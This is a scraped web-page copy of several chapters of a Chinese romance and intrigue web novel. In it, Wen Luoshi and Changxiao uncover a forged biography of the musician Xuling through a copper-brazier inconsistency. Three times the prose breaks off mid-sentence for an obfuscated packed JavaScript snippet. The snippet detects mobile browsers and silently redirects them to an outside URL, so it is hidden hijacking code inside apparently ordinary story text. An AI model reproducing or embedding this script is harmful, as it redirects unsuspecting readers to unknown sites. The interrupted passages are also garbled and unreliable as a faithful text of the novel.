长晓皱眉道:“暂时只查到这些。归影的势力藏得挺深,说实话,若不是你细心,我都不曾发现月影酒楼竟是政敌的阵营。” “其实我在想,这件事,怕是不能从事情本身下手。”文落诗犹豫了半天,还是把话说了。她简单讲述了下长晓来之前自己的思考过程,分析了这件事为何没办法“就事论事”解决。 “你说得完全对,”长晓眸光似水,语气沉沉,“所以,接下来我打算去深挖虚灵这个人。此人能在归影的怂恿下选择拿我开刀,想必也是个心术不正的。说不定能从他身上查出些东西,我们可以从此谋局。” “哇,”文落诗很少见长晓这样,用沉静且坚定的语气说出“从此谋局”这种话,顿时觉得新鲜,“你是不是以前每天都这么说话呀?” 长晓一愣:“什么?” “我是说,我感觉你刚刚好有气势,无论是语气还是姿态,都真的是位高权重、掌握大局之人才有的。真的不愧是你哎。” 长晓面色僵住。 这姑娘是想说,她已经什么都知道了?还是,只是在试探? “你……是不是不喜欢我这样?” 文落诗眨眨眼:“没有呀。以前是不太喜欢,觉得可怕,现在越看你越顺眼了,你怎样都好。” 长晓觉得,今天好几次接不住文落诗的话。大约是她今天忽然一改往日里的矜持,把很多事情都放在明面上说出来。 “好了好了,不说这个,”文落诗摆摆手,打住这个话题,也不表明态度,只是继续道,“那就麻烦你多查查虚灵喽,我等你进一步消息。辛苦你手下的人。” 长晓一笑:“嗯,那没事的话,我先走了。” 他走到门口时,文落诗忽然想到什么,火急火燎站起身,一路小跑追到门口。 89. 一曲高歌动红绸 “还有事?”长晓回头。 “我刚想起,昨日里何掌柜来找我,说有个大商贾来谈生意。” 长晓差点一拍脑门,暗道自己糊涂了,怎么把这事给忘了。看着面前的姑娘浅笑盈盈,他又想到昨日掌柜和他说的,顿时脸庞漾起几丝的笑意。 “何掌柜昨日跟我说了,谈妥了,你放心。” 文落诗略微愣住,随后轻轻皱起眉头:“是你跟扶桑楼里的人说,你不在,有事就来找我?” 长晓很自然地点头;“嗯,我说的。” 文落诗更是不解:“为什么?我又不是这里东家,我说什么能算话吗?再说了,你要是真跟手底下的人这么说,他们说不定私下怎么议论我呢,我之前去后院转悠,好几个人看我眼神都很奇怪。今天早上一个小伙计来给我送橘子,还问我是不是跟你睡一起……” 长晓只觉得,越听心里越乐开花。而且,她绝对想不到昨日里何掌柜在商人盘问时拿她去档的时候是怎么说的。 他眼神一眯,意味深长:“你确定你想知道为什么?” 文落诗眼神坚定,诚然点头:“想。” 她这么坦荡,倒是把长晓给噎住了。 “因为只有你的脑子跟我一样好使。遇到大事,只有交给你,我才放心。”长晓对上她清澈无比的眼神,喉结一动,硬生生扯出这么几句话来。 虽然他知道,真正的原因,其实一句话就能概括。 文落诗却像是信了,眨巴眨巴眼睛:“你也太信任我了吧?” “信任是互相的,”长晓笑着又弹了一下她的额头,神色飘忽一瞬,虚虚开口,“而且,若你真想……其实,你可以把自己当作扶桑楼的主人的。” 她不是今天好几次把话明说了吗?那他也不妨多说一句。 后来,徒留文落诗一个人怔在原地,目送着长晓的背影远去,出了院子,消失在视野里。 她很久很久,都处于恍惚之中,没反应过来长晓在说什么。 或者说,思绪深处隐约触碰到什么,却是及时叫停,丝毫也不敢细想他真正想说什么。 直至屋外冷风骤起,吹得屋门吱吱呀呀地响。一股风窜进屋内,被桌案上的书卷掀开,把砚台旁的纸张吹落在地。 * 这日下午,文落诗忽然收到一封来信。那黑影在面前闪了许久,文落诗也盯着它思考了许久。 谁会给自己来信呢? 而且恰好在这种特殊时间。 干脆不想了,文落诗手一挥,那道黑影逐渐显现,她怀着忐忑的心情定睛一看,居然是覆雪。 不过文落诗倒是心下震惊。覆雪这种大文人写信,居然丝毫没有文邹邹的书面语,反倒全是大白话。 “近来可好呀?不要写太多东西把自己累着。若是之前参商镇扶月的掌柜转达了我的话,你应该听说,我想让你认识一个人。我刚听说他这几年在日月城中,你们若是之后去到那里,愿意的话,可以与他见一面。其余的我不必多说,你去到那里,自然就会见到他。” 文落诗先是一愣,覆雪这么聪明,难道猜不出自己此刻应该和长晓都在赤缇吗? 她认真反思了很久当时和覆雪在寒声见面的场景,才渐渐回过味来…… 覆雪还不知道长晓是谁啊!当时长晓来找她,覆雪看了一眼就先行离开了。 ——她压根不知道这人是谁。 不过话说回来,文落诗只觉得,此时此刻收到这封信,与当下正事无关不说,还增加了自己的任务量。不能说是雪上加霜,却也真是不合时宜。 算了,先不管这事。 她草率地写了个回信,说明自己最近在赤缇城中正忙,过些日子可能会去日月城。 再后来的几天,风平浪静,安静得甚至不正常。 长晓基本上日日外出,而她自己一个人在后院房间里,也没什么人来找她。就连她偶尔外出去街上走走,也再也没有那种被人盯上的感觉。 越是平静,就越是不正常。 她去了家靠谱的商铺,买了一大包糖果,就匆匆回扶桑楼了。 可是问题是,长晓的事情还没有进展。 这天下午,她静静一个人坐在桌案前,发愁问题如何解决时,屋门忽然被推开。 看到长晓那熟悉的身影,见他手里拿着好几本刚装订好的册子和信件,文落诗差点激动得扑上去。 这些年她的事业脑已经顽固到不可改变的地步,所以,她扑的当然是新鲜的资料,不是长晓这个人。 长晓看她清澈的眼瞳中藏不住激动,一时间笑容绽开:“怎么我的事情,你怎么比我本人还着急啊?” “当然了!我说了要全盘帮你,肯定要尽心尽力。”文落诗昂首挺胸道,“而且,我说好了让你什么都不管,实则你还是管了,这么多天,天天往外跑,你比我还累。” “也不是都在忙这事。”长晓温和道,“虚灵的身世基本查全了,我大致过了一遍,没发现什么异样,不如你再看看?” 文落诗本来信心满满,却听长晓说没发现什么异样,不禁心凉了大半。 “不用这么无精打采的,不管是朝堂查人还是府衙查案,都有很多时间是在做无用功。不管是资料被人刻意抹去还是本来就无从查找,都是大概率的事件。短时间查不出东西很正常,没什么的。” 长晓说了很多,但很明显文落诗并没有得到足够的安慰,依旧是委屈巴巴的,眼中秋波流动,轻轻抿着嘴,什么难过的心情都写在脸上。 “落诗,”长晓解下斗篷挂在门前的衣桁,忽然之间,心思一动,转过身冲文落诗勾唇,略带深意,“要是真不能解决,大不了,我不要这个身份了。” 文落诗本来蔫着,听到这话,吓得一激灵,顿时大气不敢喘。她双眼直直地看着长晓,面色僵硬,颇有些视死如归的架势。 不是,千万别。她还想再装作什么都不知道一段时间。 长晓静静欣赏了她惊慌失措的表情好久,最终忍不住笑出声来:“你怎么还是这么不禁吓啊。”说罢,他不再犹豫,坐在了文落诗身边,顺手把她搂过来,把她的头捧过,搭在自己肩上。 “我开玩笑的,好了,来,不生气了。” 文落诗依旧心里发慌。只是,她也在模糊中意识到,此刻自己的慌乱与往常大为不同。以往她是真的怕知道长晓的事情,怕一旦知道就回不了头、没有办法再做这个无事一身轻的普通姑娘,但如今她渐渐意识到,自己是一种很自私的害怕,因为有些事情越早知道,长晓就可能越早离开自己。 到那时候,她就真的什么都没有了。 文落诗眼神直愣愣,感受着心脏砰砰直跳,表面好像在认真看着眼前的桌子,意识却全都集中在混乱的思考中。 ——她丝毫没有注意到,长晓的唇在她耳畔的发梢处轻轻碰了一下,生怕被发现般,浅尝辄止。 “不行,就算是为了我自己,我也肯定帮你把虚灵和那个归影干掉。” 文落诗回过神来,忽然转头,差点撞上长晓还没来得及全然收走的唇。 “你……做什么?” “我什么都没做啊。” 文落诗怀疑地盯着他,总觉得他干了什么坏事一样,因为,他眼神里充满得逞的快意与愉悦。 不过,盯了半天,也没看出个所以然。 这时长晓再次启唇,声音轻轻:“你现在想的都是光明正大的法子,其实,若是真到了最后一步,我也有的是和归影一样的阴招,以其人之道还治其人之身罢了。只不过我知道你瞧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15288512|154738||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不上,归影呢,也算准了你我都不愿意脏了自己的手,现在才敢这么嚣张。但你放心,无论如何,这件事我都能收尾。不用压力太大。” 文落诗心想,是这个道理。要是真的不择手段,以长晓的能力、谋略和手腕,必然能直接一巴掌把虚灵和归影拍死。只不过,她不想走到那一步。 或者说,她想尽力,不让长晓走到那一步。 “卷宗我最近再看看,说不定我能发现什么。”说着,文落诗拿起了长晓方才放在桌案上的书卷,大致翻了一遍,确认了这里是刚写好的关于虚灵生平的记载。 “哦对了,”文落诗忽然想什么,手掌中粉烟一转,一大包糖果出现,“这个你拿去,给你所有手下帮忙查资料的人分了。我不确定买得够不够,但我特意买了好多好多,你应该也不会派出去那么多人……吧?” 她声音越来越小,因为她完全不确定长晓对他手下的人是个怎样的管理模式。 长晓目睹那巨大一包糖果出现,整个人愣了半晌。 “多辛苦呀,最近查了这么多东西,他们估计东跑西跑的,我也没想出别的可以回馈他们的,就买了些……糖……果……” 她看着长晓的眼神慢慢变了,变得耐人寻味,夹杂着前所未有的新奇,以及一些强忍着的笑意。 “你可真行。” 许久,长晓吐出一口气,憋出这么一句话。 他震惊了。 这些年,无论身处何地,他手下总有很多势力,且一切井井有条,就算是酒楼里跑腿的小伙计都是脑子机灵的,无一例外。他在不同的地方调动不同的势力,解决过无数事情。他对任何自己的人都极好,有时候也会和手下的人说声辛苦,但大多时候,他早就习惯了立于上位者掌权的位置,只分配任务下去,至于这些人最后呈现上的东西是怎么拿到的,他无甚在意。 这一瞬间,他真正意识到,他和文落诗思维方式的不一样。 好像自己在高位上坐久了,习惯了被伺候,早就淡去了文落诗这种意识里对所有人的极大尊重。 而文落诗看了很久长晓的表情,也慢慢意识到,他好像是第一次听说还能这么做,还能买糖给为此事出力的所有人。 或许,这就是普普通通的平民百姓与常居高处的庙堂权贵之间的本质区别。 她也恍惚间明白,她和长晓之间,是有些注定的鸿沟的。有些事情横在两个人中间,把两个人的距离拉扯开来。想凑近,但是终究无法消除这些距离。 最重要的是,她不想以失去善意为代价,去缩短所谓的距离。 而且,她相信长晓,知道长晓的好,完完全全知道。 文落诗咬了咬嘴唇:“我不知道你之前是怎样的,但既然这次是我想查,他们是帮我查的,我还是想表达一下自己的感谢。” “我懂,我明白,”那一刻,说不清什么感觉,但长晓的眼眶有些湿,“落诗,你真的太好了。” 有时候,你太好了,好到让我觉得愧疚。 我曾以为,我已经担得起“仁厚”二字,而你第一次让我意识到,在很多方面,我做得还远远不够。 “我特意找了家靠谱的铺子,保证归影没在里面下毒,我回来之后也验过毒,自己也吃了,所以放心吧!” 她语气轻柔,面容带笑,如同寻常一般。 “我替所有人谢过你。” “以后哪怕我不在你身边了,也要记得给大家买糖哦!” “嗯……好。” 长晓把一大包五颜六色的糖果收起来,情绪在心中翻涌着。 他当然会记得。 只是他更希望,不要有她不在身边的那一天。若是以后,只能靠买糖果去怀念她的身边的这些日子……到那时,也应当是痛苦的。 90. 一曲高歌动红绸 “能行吗?我总觉得,还是有些漏洞。” 虚灵在月影酒楼中慢慢喝着茶,听着归影叙述自己近期的一番“作为”,依旧心里发虚。 “你这事啊,本来你不说,就没人知道,何况现在连任何一点相关的痕迹都抹了,你还担心什么?” 归影笑嘻嘻地噙着一块点心,很是漫不经心,像对自己做的一切十分满意。 虚灵捧起面前的卷宗,又细细看了一遍,仿佛那上面写的根本不是他本人的经历,而是别人的故事。 “但凡意识到问题,随便找个活得久的人一问,就能发现不对劲了。” “你想多了,根本不会到这一步。他都意识不到问题,何来再去找人求证一说?” 冬年已经深了,哪怕是屋内,也有阵阵冷意。归影手一挥,桌案旁的铜炉点燃,冒出暖融融的轻烟。他把双手伸过去烤了烤,顿时觉得舒坦了不少。 虚灵眼神一眯:“铜炉……我还是觉得是个漏洞。要知道,我也就是最近这段时间赚的钱,才够买得起铜炉。长晓要是看出来……” “不会,”归影大手一摆,声音拉长,浑然不在意地说,“他呀,养尊处优惯了,不可能意识到这一点。你就踏实吧,他看不出来,他不懂这些的,说不定他现在已经断定了你的经历没什么问题,开始从别处想办法了。哎,一想到他能被我耍得团团转,我就高兴。” 虚灵虽然不知道长晓究竟是谁,但听归影把他描述成一个不识人间疾苦的形象,觉得稍微踏实了些。他又看了看手中卷宗,回顾了一下“自己的”生平,慢慢放下心来。 * 文落诗这几日一直在研究虚灵,她觉得,她都快比那群追捧者都更了解虚灵这个人了。 虚灵的生平很简单。出生在一个最普通不过的小家庭里面,家里人都是做曲乐一行的,他从小耳濡目染,也择了琴去学习。长大后偶遇机缘,开始自己写曲子,然后成名,被追捧。后来过了气,走向没落。再然后就是最近了,重新获得关注。 文落诗把那些资料反反复复研究了好几日,正如长晓所言,确实没什么问题。但是直觉告诉她,不对劲。 虚灵这个人,既然能被归影说服,去通过造谣别人的手段来提升自己的名声,必然不是什么好人,而不是什么好人的话,生平也应该不会这么简单才对。 人要么从来不干坏事,要么就是干了一次,两次,以及未来无数次。这回他坑长晓,虽是有归影的帮助,但也显得轻车熟路,若说他以前没坑过别人,文落诗觉得可能性不大。 她拿起笔,开始在自己抄写的纸上批批画画。 虚灵的人生节点很明显,分析起来其实不难。 他是为什么开始没落的呢? 根据卷宗上所写,虚灵自成名后,辉煌了很长一段时间。而后,发生了一件事。 当年乐坊中盛行斗乐,是那时乐坊的重要赚钱方式之一,也是那时乐师重要的维持名声的方式之一。 虚灵凭借着已有的盛名和高超的琴技,一路走到了最后。最后一场斗乐,他所面临的,是一个叫庄顗的人。 此人和当今长晓的情况极为相似,也是个在当年突然间一曲成名的大乐师,年龄比虚灵小多了。 据记载,当时万人空巷,在场观众繁多,拥挤不堪,甚至无数人守在乐坊之外,都想看看最终结果如何。 文落诗读到这里,不禁感慨,这就是赤缇城啊! 这里浸泡在各式各样的曲乐之中,人人以此为生活中的浪漫和追求,而这座城沉淀下来,也因此拥有了独特的尘埃与繁华。 不过,话说回来,虚灵估计当时压力很大吧。毕竟他也算个小前辈了,遇上这么一个既年轻又才华横溢的新人,万一真被比下去了,确实有些下不来台面。但这也取决于他的心态。毕竟其实也没什么大事,他的乐迷已经够多了。 而历史就是这么神奇。当时正值寒冬,庄顗在斗乐的前一晚,在家中不慎打翻了取暖的铜炉,不仅热气把琴烧坏了,他的手也被烫伤。哪怕极力施法疗伤,也没能在第二日痊愈。 虚灵听闻后,很是好心,特意把自己的另一把琴借给了庄顗。虽然庄顗依旧是因为手上的伤,没能发挥出最佳水平,输给了虚灵,但所有人都目睹了虚灵在开场前借琴一事,都赞他人品高尚,没人说他胜之不武。 再之后,又过了一段时间,虚灵就没落了。据卷宗记载,也没什么别的原因,人总不可能一辈子红红火火立于顶峰。 文落诗总觉得,虚灵斗乐的这个故事不对劲。 虽然,再烂的人也可以装出“人品高尚”,假装做出好事,骗取所有人的称赞,但难道就没一个人起疑,为啥这件事就这么凑巧吗? 早不烫手,晚不烫手,偏偏这时候烫手,好似就是用来击败庄顗一样;早不借琴,晚不借琴,偏偏在斗乐前当着所有人的面借琴,好似就是用来提升虚灵的名声一样。 特别是,这件事已经过去多年,此时此刻,文落诗已经提前知晓了虚灵这个人的人品不咋地,那么带着这个先决条件翻看历史,这件事就越来越显得不对味。 烦人的是,不对味是不对味,但偏偏看不出具体问题出在哪里。一切都太巧了,圆满的闭环,没有什么明显的漏洞。 这估计就是长晓说“没发现什么异常”的原因。他肯定也关注了这个故事,但估计脑子转了几圈,没发现什么,只当是凑巧,就略过了。 想到这里,忽然有人敲门。 坐了太久,文落诗的手早就冻僵了。她借机把批画得乱糟糟的纸张往桌上一扔,冲门口喊了声“请进”,然后点燃了桌案旁的铜炉,用暖烟给自己烤手。 冬天点铜炉确实暖和。倒是虚灵和庄顗的故事提醒她了。 屋里这个铜炉又是连城铜制的,文落诗心下感叹,长晓可真有钱。 而门口处,长晓慢步走进来,衣袍上连着冬日寒风的气息。见她正像小猫一样趴在炉子边烤手,长晓面色一暖,笑道:“手冷啊?” “嗯,我的老毛病了,一坐久了就手脚冰凉。” 长晓刚进屋时,眸子与风雪一样寒冷,可此刻不知为何,看着她这副样子,心思一动,眼中冰雪化开,忍不住开口逗弄:“要不要我给你捂捂?” 文落诗瞪了他一眼,没说话。 长晓全然不在乎被她瞪了,绕过蹲在铜炉旁的她,走近桌案处,看到密密麻麻的批画,顿时怔住。 “你还在分析虚灵的身世啊?” “不然呢?”文落诗语气轻软,呼出一口寒气,“我总觉得他这么坏的人,不会身世如此简单。但是我没看出问题在哪里。” 她在一旁烤手,座椅便空了,长晓掸弹衣袖,在桌案前坐下,冷白的手指伸出,捧起那一页乱糟糟的纸。 “其实有一种可能,就是虚灵的经历,并非完全真实。” 文落诗一惊,抬头:“被人改动过?” 长晓颔首:“怕就怕,若是虚灵真有问题,归影早就已经出手替他瞒了。我拿到的信息,也未必真实。” 这倒是给了文落诗一个新思路。要是被改动过,那必然会存在改动的痕迹。哪怕微乎其微,也很难逻辑自洽。 她把滚烫的铜炉用法力搬起来,挪到桌子上,自己则是坐去了长晓旁边。 “我再看一遍。”说着,她拿起笔,习惯性蘸了蘸墨。 正聚精会神,文 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15294903|154738||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 落诗忽然听到细微的研墨声。 她睁大眼睛抬头,看长晓款款坐在一旁,藏蓝色的轻裘缓带皆随身型而流下,好似星河淌下坠入世间。他手里拿着墨条,在认真研墨。绣满织金纹路的广袖遮住了半边桌案,袖前露出一双白皙的手,借着铜炉中袅袅轻烟,正是平静的风雅。 “不是吧?你给我研墨?”文落诗盯了半天,不可置信道。 “砚台快空了,我看你一会又要写写画画的,帮你研一些。” 长晓答得倒是自然,仿佛这件事太过于寻常。 而文落诗手中的笔顿时不动了。她认认真真打量了长晓一遍,犹豫着道:“你听说过凡间有个词,叫‘红袖添香’吗?” 长晓手中的墨条停住,思考后道:“没听过。” “也是,”文落诗端详着他的样子,自顾自点点头,思考道,“你又不是我,不会天天看这些没用的话本子。” 长晓对此是丝毫不懂,故而,他丝毫没意识到文落诗在震惊什么。 文落诗想了想,又皱眉道:“反过来也行。那你总听说过窦大人和她夫君的故事吧?” 长晓又是一愣:“当今大宗伯窦铃?” “对,就是她。” “她怎么了?” 文落诗见他一脸真诚求教的神情,再配上他这张勾魂摄魄的俊美的脸,重重叹了口气:“她有个很出名的故事,被民间各种话本子改写成各种版本。不说那些改得乱七八糟的,原始的故事是,某年某月某日,窦大人正在认真读卷宗,想提笔作些批注,然而她想起砚台里的墨已经没了,正欲放下笔研墨,却发觉砚台里不知何时已经研好了一些新鲜的墨。 “她这才发现,她的夫君沉秋不知何时已经坐在她的身边,见她在低头忙碌,便帮她在一旁静静研墨,以便她能直接蘸墨写字。她抬头之时,沉秋依旧在默默为她研墨,一举一动都把她照顾得很好。” 见长晓眉目间染上思考的痕迹,像是第一次听这个故事,文落诗心下又是一叹。这个人,真实什么民间八卦都不知道啊。 “窦大人很是心喜,感动不已。从那以后,沉秋见夫人忙碌时,总是坐在一旁帮她研墨。两人日日如胶似漆,孩子都生了两个了……呃,这不重要。重要的是,从那以后,沉秋为窦大人研墨的故事流传开来。 “沉秋并无官职,但窦大人身居高位,政务缠身,这种情况下,两人极容易疏离。可就是因为研墨一事,两人至今都琴瑟和鸣。 “虽然不知道是否确有其事,但百姓才不管真的假的,全都纷纷赞叹。久而久之,这个研墨的故事就成了夫妻之间感情好的代名词,民间夫妻也多是效仿。” 文落诗一口气说完,放下笔,给自己倒了杯热茶水。 直到她慢条斯理把茶喝完,才意识到,糟了,大事不妙! 她此时此刻,跟长晓说这些做什么? 特别是,她结尾的时候还补了一句…… 果不其然,她僵硬转头时,发现长晓正意味深长地看着她,眼神中飘着一丝浅笑,薄唇轻启:“所以,你给我讲这个故事的目的是?” 文落诗嘴角颤抖,声音发虚:“没别的意思,就是忽然想到了,给你讲个故事而已。” 长晓眼中的情绪收起。他对此回答并不意外,轻飘飘“哦”了一声,继续低头给她研墨,磨得更加认真。 文落诗再也不多看长晓一眼,迅速提笔,开始埋头苦读,与此同时,强压着砰砰直跳的心。 她没注意到,因提笔时间过长,纸上早已滴落了一个墨点。 而长晓盯着那滴墨点,笑了很久。 呵。 倒是之前不知,还有这么个说法啊。 91. 一曲高歌动红绸 过了太久,两个人都没动静,只有笔尖摩擦过纸张的声音。长晓把墨条收好,静静指尖一勾,蓝光飞出,给眼前的铜炉施法,让它再热一些。 文落诗静静低着头,看着一行行已经阅览过无数遍的文字。感受到铜炉暖融融的热气氤氲而来,她的眼睛刚好停留在“庄顗被铜炉烫手”的那一行字上。 忽然,文落诗脑子里“嗡”地一声,呼吸一促。 “你有查庄顗的资料吗?” 长晓看文落诗大惊,以为她有什么大事,没想到她只是问这个。 “顺藤摸瓜差了一些,但是因为他一直名声不大,没什么过多的资料。” 文落诗转头看向他,眼神炯炯,声音沉着:“我只有一个简单的问题。据我了解,像你这样有钱的乐师少之又少,大多数人都是家徒四壁。庄顗他,是不是属于没钱的那种人?” 长晓颔首,没理解文落诗的问题点在哪里,但沉静答道:“是,据记载,他一直不怎么出名,所以无论是表演机会还是其他赚钱途径都很少,大概不怎样有钱。” 说罢,他忽然面色一僵,补充道:“我没有别的意思,也没有嘲笑他……” “我明白了。”文落诗深深吸了一口气,仿佛终于拨云见日,“这就是杜撰的痕迹。” 长晓接过她手中的一沓草纸,仔细看了又看:“你想说的是?” “没钱的人,怎么可能买得起铜炉呢?庄顗的家里,是不可能有铜炉的,他要是想取暖,估计只会用木块烧把火。”文落诗眼神微冷,嘴角却勾起一抹嗤笑,像是在讽刺杜撰之人,也是在嘲笑自己竟然刚意识到这个大漏洞。 长晓愣了一瞬,没说话。 文落诗见他似乎在盯着面前的铜炉发呆,展颜一笑,在他眼前挥挥手。 “不是所有人都像你一样有钱啦,对于大多数人来说,比如以前的我,冬年真的非常难熬,要么靠不断运作魔气来维持身体的温暖,要么就点一团火,铜炉这种贼老贵的东西,得是大富大贵的人才能买的。” 说罢,她往长晓的身畔挪了挪,离得近了些。 “虽然我现在有钱了,前些年也有了自己的烤手小铜炉,但不得不说,谢谢你长晓,你的东西还是太好用了,我这些天一直在蹭你的家财来取暖。而且,你这些还都是连城铜的,最最最贵的一种铜。哎,有钱真好。我以后也要努力赚大钱。” 长晓像是终于想明白了这个逻辑,不可置信道:“竟然是这样,我之前觉得虚灵的身世不对劲,但又说不上来怎么不对劲。” 文落诗笑吟吟道:“这个不怪你。对于你来说,确实很难想到这一点。” 自打文落诗说出铜炉问题的那一刻,长晓脑海中就有什么炸裂开来,一些固定的思维开始动摇。他确实是从小养尊处优,“没钱买铜炉”这种问题,根本不存在于他的世界里。因而,很多时候,他都没意识到,原来他习以为常的事情,是别人需要努力争取才能得到的,甚至,更多人,一辈子得不到。 他终于明白,自己口口声声说要“下沉”,通过写曲子的方式走进民生,却迟迟无法真正了解民生,是因为什么。从未有过一个人,把他从固定的思维中拉出来,让他真正去了解一下“普通”的世界是为何样。 若不是文落诗意识,他恐怕永远也不会发现,卷宗之中,存在这么明显的一个大漏洞。 “我……” 他一时不知该怎么接话。 “都说了不怪你,”文落诗见他略有些窘迫的模样,心中好笑,便刻意摆出一个长辈模样,慈祥地笑着拍了拍他的后背,“你有你的难处。你那些极为头疼的事情,别人也一辈子遇不到。痛苦不分等级。” 说完,她非常自然地躺在长晓的肩头上。 “发现了这一个漏洞,就证明整个逻辑链断了。那么……” “那么,虚灵和庄顗的整个故事,都有问题。”长晓冷声接话。 “对喽!”文落诗豁然开朗,心情正好,“让我再想想啊,既然烫手之事是假的,那总需要给铜炉烤手一事找个原因吧?这上面说,当时正值冬年……” 文落诗草率在心里算了个数,今年是沧海历九千九百五十五年,正是冬年,四年一轮回,而虚灵和庄顗斗乐的那一年,正是沧海历沧海里三千七百六十五年…… 正值夏年! 文落诗一激灵,鲤鱼打挺坐起来,离开长晓肩头。 夏年啊,怎么可能会觉得冷,需要烤手呢? 长晓很明显也算出来了,冷冷一笑:“真是漏洞百出啊。” 文落诗脑袋一歪,双手一摊:“估计真是归影干的。也不知道究竟在隐瞒什么。” “他估计是觉得我不懂,看不出来。”长晓垂眸,暗自叹了一口气,“而我,也不负所望,确实没看出来。” “哈,他以为你不懂,但我懂啊!”文落诗眼底流过一丝骄傲,作出胜券在握的模样。 长晓盯着文落诗看了很久,眼神复杂。 他该说什么好? 无数句感激的话涌到嘴边,他却不知道该怎么说出口。而这个姑娘明媚且通透、笑看无数风雪的身姿、以及她那股强大的坚韧劲……真是越看越心动啊。 于是,他再也忍不住,倾身向前,一把将她抱过来,按在自己怀里。她想躲,他便将手臂按在她的背上,让她无法逃脱。 “刚不是手冷吗?我抱你一会,你脑子也缓一缓。” 他是真的一刻都不想失去她。 ——指的是,未来的每一天,无数个年月。 而文落诗根本不知道长晓现在满心都是自己。她顺势往长晓怀里一窝,闭上眼睛,继续喃喃道: “现在可以确定的是,庄顗并不是因为铜炉而伤了手。那么他究竟是不是因为手的问题才输给了虚灵呢?还是因为……虚灵借他的那张琴?!” 似乎是意识到什么,文落诗在长晓宽广的墨色大袖中轻轻抬起头。 “当时那么多人,就算归影想篡改事实,也难抵悠悠众口啊!该不会是他一个一个查了当年的观众,把所有活到现在的人都查了一遍吧?” 想到这里,文落诗脊背发凉,抿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15304955|154738||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着嘴不敢再说话。 “不至于,”长晓低头,刻意和她挨得近了些,“他还没这个能耐,查到当年在场的都是谁。顶多就是……” 文落诗一脸害怕,接道:“顶多就是把那个乐坊里当年的管事,以及所有确定在场的人,都……都杀人灭口了。” 长晓没想到文落诗把话说得这么直接,默了一瞬,最终垂眸点点头。 在政治斗争之中,从来不会有丝毫的手软。 手软一次,下次死的就是自己,和自己身边的人。 想要彻底瞒住一件事,就得让所有这件事之中的人,都不复存在。 这是他从小就知道的道理,也是高居庙堂之上的所有人都清楚的道理。 “但是,”文落诗还是抱着一丝希望,“那个名叫‘晴空’的乐坊,早就已经破产,东家和管事以及伙计们都已经不在了,有没有可能……” 长晓叹息一声:“乐坊算是一个大产业了。只要曾经存在,必然有详细的记录。而以归影的能力,查清楚当年详细的人名,再一一出手除掉,不算什么难事。哪怕这些人已经四散开来,甚至不住在赤缇城。”说罢,他眼神中闪着一丝苦楚,又道:“若是你不信,我也可以派人去查,但是恐怕不会有好结果。” 文落诗闭上眼睛,呼出一口虚弱的气息,软塌塌地在长晓怀里瘫着:“长晓,谢谢你刚刚把我抱住。不然,我真的承受不住。” “当年毕竟不比今日,乐坊规模没这么大。或许早就有人不在了。归影杀的人,应当不会太多。”长晓轻声道,企图给她最大的安慰。 过了许久,文落诗重新抬起头,睁开坚定的双眼:“我想去找找,有没有当年的观众还在世。” 长晓皱眉道:“你亲自去?” “嗯。” “你的一举一动都会被人盯上。若是你亲自去找了人,你走后,那人的性命怕是也不保。” 文落诗一怔,转而明白,还真是这样道理。她暗叹道,长晓不愧是天天和政敌明里暗里斗得死去活来的人,仅仅靠她,很难这么快意识到这一层。 至少现在还做不到。 “且不说能否找到人。就算你没找到,但归影估计也能看出你出门的目的。那样的话,无论是你,还是当年的幸存者,都不知道会面临什么。”长晓语气沉沉,眸光幽然深邃。 文落诗道:“我隐去身形和气息就好。但是,为了避免别人遇到危险,我不想再麻烦任何人帮我去做这件事。” 她是真的怕了。 怕因为她的疏漏,抑或是对于政治残酷的不熟悉,导致更多无辜之人丧命。 长晓点点头:“好,那你多加小心。以你的身手,刻意隐瞒自己的存在,归影应该注意不到。而且,他不一定能想到你会去查。他估计还乐呵呵以为,我什么都没看出来呢。” 文落诗依旧被长晓抱着,此刻,她伸出一根手指,高举过头顶,戳了戳长晓的额头。 “他也就蒙蒙你这种高坐庙堂、不食人间烟火的人,想蒙过我这种机灵小姑娘,哼,想得美。” 92. 一曲高歌动红绸 “所以,当年庄顗上场前毫发无损,甚至状态甚佳,可是真正抚琴之时,越弹越不稳?” 文落诗的面前坐着一个老爷爷。大概是因为修为不高,没办法长期保持年轻的容貌,他的皮相便渐渐随年龄增长而老去。此刻,他的脸上皱纹遍布,额头上三道长纹中,似乎还夹着不少黑泥。 自从文落诗敲门进来之时,他就昏昏沉沉,垂垂老矣之态尽显。可一提及曲乐,他那老朽的眼瞳一瞬间变得清澈,亮着与他周身气息不符的、莹莹的光。 这大概是真正爱过。 文落诗以写文章为生,自然喜欢观察人。她发现,爱过和没爱过,区别真的很大。而这区别,大多体现在眼睛上。 